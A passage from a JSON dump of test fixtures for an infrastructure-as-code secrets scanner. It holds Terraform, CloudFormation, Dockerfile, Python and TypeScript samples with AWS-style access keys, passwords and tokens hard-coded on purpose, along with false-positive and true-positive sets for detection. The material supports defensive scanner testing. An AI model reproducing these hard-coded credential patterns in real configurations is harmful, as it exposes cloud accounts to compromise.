Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"path\": \"/s3.tf\",\n        \"start.line\": 1,\n        \"end.line\": 19\n      },\n      \"rawFields\": {\n        \"cloud_provider\": \"AWS\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/masking_secrets/findings_report_with_pass.json",
    "content": "{\n  \"typeId\": 1,\n  \"reportIdentifier\": \"Iac\",\n  \"items\": [\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"Ensure Instance Metadata Service Version 1 is not enabled\",\n        \"rule_id\": \"CKV_AWS_79\",\n        \"rule_name\": \"Ensure Instance Metadata Service Version 1 is not enabled\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": -1,\n        \"inspected_key\": \"metadata_options/[0]/http_tokens\",\n        \"alt_code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\"\n      }\n    },\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"description\": \"Ensure no hard-coded secrets exist in EC2 user data\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"Ensure no hard-coded secrets exist in EC2 user data\",\n        \"rule_id\": \"CKV_AWS_46\",\n        \"rule_name\": \"Ensure no hard-coded secrets exist in EC2 user data\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": 8,\n        \"inspected_key\": \"user_data\",\n        \"alt_code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n}\"\n      }\n    },\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"description\": \"Ensure that detailed monitoring is enabled for EC2 instances\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"Ensure that detailed monitoring is enabled for EC2 instances\",\n        \"rule_id\": \"CKV_AWS_126\",\n        \"rule_name\": \"Ensure that detailed monitoring is enabled for EC2 instances\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": -1,\n        \"inspected_key\": \"monitoring\",\n        \"alt_code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\"\n      }\n    },\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"description\": \"Ensure that EC2 is EBS optimized\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"Ensure that EC2 is EBS optimized\",\n        \"rule_id\": \"CKV_AWS_135\",\n        \"rule_name\": \"Ensure that EC2 is EBS optimized\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": -1,\n        \"inspected_key\": \"ebs_optimized\",\n        \"alt_code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\"\n      }\n    },\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"description\": \"Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted\",\n        \"rule_id\": \"CKV_AWS_8\",\n        \"rule_name\": \"Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": -1,\n        \"inspected_key\": \"root_block_device\",\n        \"alt_code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\"\n      }\n    },\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"description\": \"Ensure an IAM role is attached to EC2 instance\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"Ensure an IAM role is attached to EC2 instance\",\n        \"rule_id\": \"CKV2_AWS_41\",\n        \"rule_name\": \"Ensure an IAM role is attached to EC2 instance\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": -1,\n        \"alt_code_block\": \"\"\n      }\n    },\n    {\n      \"assetId\": \"aws_instance.web_host\",\n      \"description\": \"EC2 instance should not have public IP.\",\n      \"moduleUnstructuredFields\": {\n        \"name\": \"EC2 instance should not have public IP.\",\n        \"rule_id\": \"CKV_AWS_88\",\n        \"rule_name\": \"EC2 instance should not have public IP.\",\n        \"rule_category\": \"Data\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\",\n        \"asset_name\": \"aws_instance.web_host\",\n        \"inspected_key_line\": -1,\n        \"inspected_key\": \"associate_public_ip_address\",\n        \"alt_code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via Terraform</h1>\\\" | sudo tee /var/www/html/index.html\\nEOF\\n}\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/multiline_custom_regex_detector/Dockerfile.mine",
    "content": "FROM base:1\nUSER bob\nENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEY\"\nENV CIRCLE=\"2065ae463be4e434bb/LIR\\366d44e7a776d472\"\nENV SEC_3=\"eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==\"\nENV TEST=\"5FP0NmFYz81U32XdjNb42762\"\nENV OUT=\"5FP0NmFYz81U32XdjNb42762eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==\""
  },
  {
    "path": "tests/secrets/multiline_finding/Dockerfile.mine",
    "content": "Algolia\nconst ADMIN_KEY = 'b782df1739614041699a45f8079a3623';"
  },
  {
    "path": "tests/secrets/omit_multiple_secrets/test/multiple_secrets_one_line.txt",
    "content": "export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\\nexport CIRCLE='rk_live_TESTtestTESTtestTESTtest'\n"
  },
  {
    "path": "tests/secrets/resources/cfn/secret-no-false-positive.yml",
    "content": "\"\"\"\nno False Positive - where it's not an actual secret\n\"\"\"\n\n  CleanBucketFunction:\n    Type: \"AWS::Lambda::Function\"\n    DependsOn: CleanupRole\n    Properties:\n      Handler: index.clearS3Bucket\n      Role:\n        Fn::GetAtt: CleanupRole.Arn\n      Runtime: nodejs12.x\n      Timeout: 25\n      Code:\n        ZipFile: |\n          no False Positive - where it's not an actual secret\n          check_metadata_values = ('bafadssda$#%2', 'bdfsver#$@%')\n          CHECKOV_METADATA_RESULT = 'checkov_results5243gvr'\n          check1 = {'blabla': 'blabla1'}\n          check2 = {'blabla': 'blabla2'}\n          check1['some_key_1235#$@'] = check2.get('some_value_1235')\n          not_a_secr_k = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY\"\n"
  },
  {
    "path": "tests/secrets/resources/cfn/secret-no-false-positive2.yml",
    "content": "\"\"\"\nno False Positive - where it's not an actual secret\n\"\"\"\nCleanBucketFunction:\n  Type: \"AWS::Lambda::Function\"\n  JustAKey:\n      - \"secretsmanager:GetSecretValue\""
  },
  {
    "path": "tests/secrets/resources/cfn/secret.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: AWS CloudFormation Template to deploy insecure infrastructure\n\nResources:\n  AnalysisLambda:\n    Type: AWS::Lambda::Function\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Environment:\n        Variables:\n          access_key: \"AKIAIOSFODNN7EXAMPL3\"\n          secret_key: \"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\"\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n"
  },
  {
    "path": "tests/secrets/resources/file_type/Dockerfile",
    "content": "FROM base:1\n\nRUN apt install first_update_line \\\n&& apt update first_update_line\nRUN apt update second_update_line\nRUN apt update third_update_line\nUSER bob\nENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY\"\nENV AWS_SECRET_ACCESS_KEY=\"AKIAIOSFODNN7EXAMPL3\"\n\nHEALTHCHECK --interval=5m --timeout=3s \\\n  CMD curl -f http://localhost/ || exit 1\n~                                            \n"
  },
  {
    "path": "tests/secrets/resources/file_type/Dockerfile.simple",
    "content": "FROM base\nENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY\"\nENV AWS_SECRET_ACCESS_KEY=\"AKIAIOSFODNN7EXAMPL3\"\n\nRUN apk update\n"
  },
  {
    "path": "tests/secrets/resources/file_type/test.py",
    "content": "# no False Positive - where it's not an actual secret\ncheck_metadata_values = ('bafadssda$#%2', 'bdfsver#$@%')\nCHECKOV_METADATA_RESULT = 'checkov_results5243gvr'\ncheck1 = {'blabla': 'blabla1'}\ncheck2 = {'blabla': 'blabla2'}\ncheck1['some_key_1235#$@'] = check2.get('some_value_1235')\n\n\naccess_key = \"AKIAIOSFODNN7EXAMPLE\"\nsecret_key = \"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\"\nif __name__ == '__main__':\n    print('secrets')"
  },
  {
    "path": "tests/secrets/resources/file_type/test.ts",
    "content": "const access_key =  \"AKIAIOSFODNN7EXAMPLE\"\nconst secret_key = \"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\"\nfunction compact(arr: string[]) {\n  if (arr.length > 10)\n    return arr.slice(0, 10)\n  return arr\n}"
  },
  {
    "path": "tests/secrets/resources/k8s/secret-name.yaml",
    "content": "---\nkind: Deployment\napiVersion: apps/v1\nmetadata:\n  labels:\n    k8s-app: kubernetes-dashboard\n  name: kubernetes-dashboard\n  namespace: kubernetes-dashboard\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      k8s-app: kubernetes-dashboard\n  template:\n    metadata:\n      labels:\n        k8s-app: kubernetes-dashboard\n    spec:\n      containers:\n        - name: kubernetes-dashboard\n          image: kubernetesui/dashboard:v2.0.0-rc7\n          imagePullPolicy: Always\n      volumes:\n        - name: kubernetes-dashboard-certs\n          secret:\n            secretName: kubernetes-dashboard-certs\n"
  },
  {
    "path": "tests/secrets/resources/terraform/main.tf",
    "content": "resource \"local_file\" \"npmrc\" {\n  content  = \"no\"\n  filename = \".npmrc\"\n}"
  },
  {
    "path": "tests/secrets/resources/terraform_failed/main.tf",
    "content": "provider \"aws\" {\n  access_key = \"AKIAIOSFODNN7EXAMPLE\"\n  secret_key = \"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\"\n}"
  },
  {
    "path": "tests/secrets/resources/terraform_skip/main.tf",
    "content": "resource \"aws_lambda_function\" \"skip\" {\n  filename      = \"lambda_function_payload.zip\"\n  function_name = \"lambda_function_name\"\n  role          = aws_iam_role.iam_for_lambda.arn\n  handler       = \"exports.test\"\n\n  source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n  runtime = \"nodejs12.x\"\n\n  environment {\n    variables = {\n      access_key = \"AKIAIOSFODNN7EXAMPLE\" #checkov:skip=CKV_SECRET_2:example\n      secret_key = \"\"\n    }\n  }\n}\n\nresource \"aws_lambda_function\" \"wrong_skip\" {\n  filename      = \"lambda_function_payload.zip\"\n  function_name = \"lambda_function_name\"\n  role          = aws_iam_role.iam_for_lambda.arn\n  handler       = \"exports.test\"\n\n  source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n  runtime = \"nodejs12.x\"\n\n  environment {\n    variables = {\n      access_key = \"AKIAIOS3F6KN7EXAMPL3\" #checkov:skip=CKV_SECRET_5:wrong check id\n      secret_key = \"\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/secrets/sanity/iac_fp/main.json",
    "content": "{\n  \"MetadataOptions\": { \"HttpsTokens\": \"optional\" }\n}"
  },
  {
    "path": "tests/secrets/sanity/iac_fp/main.tf",
    "content": "secret_name       = \"example_secret_name\"\n\ncreation_token                  = \"my-product\"\n\nclient_secret_setting_name  = \"MICROSOFT_PROVIDER_AUTHENTICATION_SECRET\"\n"
  },
  {
    "path": "tests/secrets/sanity/non_iac_fp/a.py",
    "content": "def a():\n    test_files_dir = current_dir + \"/example_LustreFSEncryptedWithCMK\"\n\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/scan-results/2e97f5afea42664309f492a1e2083b43479c2936\"\n\n    PASSWORD = \"PASSWORD\"\n    STATUS_ERROR_PASSWORD_FETCH = \"ERROR_PASSWORD_FETCH\"\n\n    return \"Properties/LogPublishingOptions/AUDIT_LOGS/Enabled\"\n\n    metadata_options['HttpTokens'] == \"required\"\n\n    \"MDEyOk9yZ2FuaXphdGlvbjE\\u003d\"\n\n    IAM_ROLE_STATEMENTS_TOKEN = 'iamRoleStatements'\n\n    a = {\n        'JSON Web Token': 'CKV_SECRET_9',\n        'NPM tokens': 'CKV_SECRET_12',\n        'Slack Token': 'CKV_SECRET_14',\n        'SoftLayer Credentials': 'CKV_SECRET_15',\n        'Square OAuth Secret': 'CKV_SECRET_16'\n    }\n\n    self.go(\"GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled\")\n\n    a = {'s3_origin_config': [{'origin_access_identity': ['origin-access-identity/cloudfront/ABCDEFG1234567']}]}\n"
  },
  {
    "path": "tests/secrets/sanity/non_secrets/true_negative.json",
    "content": "{\n    \"upload_image_error_general\": \"Vi beklager, men det skjedde en feil ved opplasting. Sørg for at filen ikke overstiger {0} og at den er i et bildeformat (jpg, png, bmp eller gif).\",\n    \"my_profile\": \"Min profil\",\n    \"passwords_not_equal\": \"Passordene er ikke like.\",\n    \"invalid_one_time_code\": \"Du har ikke tastet en gyldig engangskode. Tast inn 4-sifret kode fra SMS.\",\n    \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n    \"password_change_information\": \"For å bekrefte endringen, må vi sende deg kode på sms.\",\n    \"repeat_password\": \"Gjenta passord\",\n    \"password_with_length\": \"Passord (minst 6 tegn)\",\n    \"personal_information\": \"Personopplysninger\",\n    \"phone_number\": \"Telefonnummer\",\n    \"one_time_password\": \"Engangskode:\",\n    \"sendOneTimePassword\": \"Send engangskode\",\n    \"invalid_one_time_password\": \"Ugyldig engangskode\",\n    \"password_at_least_6_characters\": \"Passordet må ha minst 6 tegn.\",\n    \"password\": \"Passord\",\n    \"the_value\": \"QtT8Q~9C-_Ij~RYuHVpD2Tuf3oHWGh.DQ3kcjbAn\",\n    \"intro_new_password\": \"Lag et nytt passord og skriv det inn her. Passordet må ha minst 6 tegn.\",\n    \"test_second\": \"gYf8TjMMrog5PsiyHTyKIn57gpByF8R3AcyXVLz7lli8bSGXIcWTypFsyKHQ6VKbzvHPTB6djpHpzGKHg81UoQ==\",\n    \"intro_confirmation\": \"Ditt nye passord er lagret.\",\n    \"password_must_have\": \"Passordet må ha seks eller flere tegn.\",\n    \"wrong_one_time_password\": \"Du har tastet feil engangspassord\",\n    \"an_error_has_occured_please_start_over\": \"En feil har oppstått, vennligst gå tilbake og start på nytt.\",\n    \"choose_password\": \"Lag et nytt passord på minst 6 tegn.\",\n    \"create_password\": \"Lag nytt passord\",\n    \"save_password\": \"Lagre passord\",\n    \"new_password\": \"Nytt passord\",\n    \"new_password_intro\": \"Skriv inn mobilnummeret ditt og vi sender deg en engangskode på SMS.\",\n    \"wrong_username_password\": \"Mobilnummer eller passord er feil. Vennligst prøv igjen.\",\n    \"log_out_confirm\": \"Er du sikker på at du vil logge ut?\",\n    \"newUserMsg\": \"Vi gir deg komplett oversikt over hele prosessen for din forhåndsbestilte og bestilte bil mens du venter.\",\n    \"oneTimePasswordSms\": \"Engangskode fra sms\",\n    \"passwordNotEqual\": \"Passordene er ikke like\",\n    \"createPassword\": \"Opprett et passord, minst 6 tegn.\",\n    \"crazy_line\": \"hjshnk5ex5u34565AWS654/JKGjhz545d89sjkja\",\n    \"admin_login\": \"Pa$$w0rd\"\n}\n"
  },
  {
    "path": "tests/secrets/sanity/secrets/true_positive.json",
    "content": "{\n    \"SA_PASSWORD\": \"DEV-we-954\",\n    \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY\",\n    \"my_new_password\": \"F322a45xxmwov9bpgRhyuByXj2nxz7khS6yXQmfSaQCmwbTF2jpfgC56az3a\",\n    \"test_pass\": \"z2b7k2cQfzc+yjP2K8cjuQ8uoorHBpEvC+XWhU3Z5+IdrPQYwr991Lj73xfZ+RA2GzC0wTedDTvb1C2NX+3Gpw==\",\n    \"pg_pass\": \"sup1rstr0ngpass2ForTT\",\n    \"my_secret\": \"THISISASECRETKEY1234==\"\n}\n"
  },
  {
    "path": "tests/secrets/skip_test/skip_test1/skip1.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME1\",\n      \"value\": \"some_value1\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/skip_test/skip_test1/skip2.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME\",\n      \"value\": \"some_value\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": 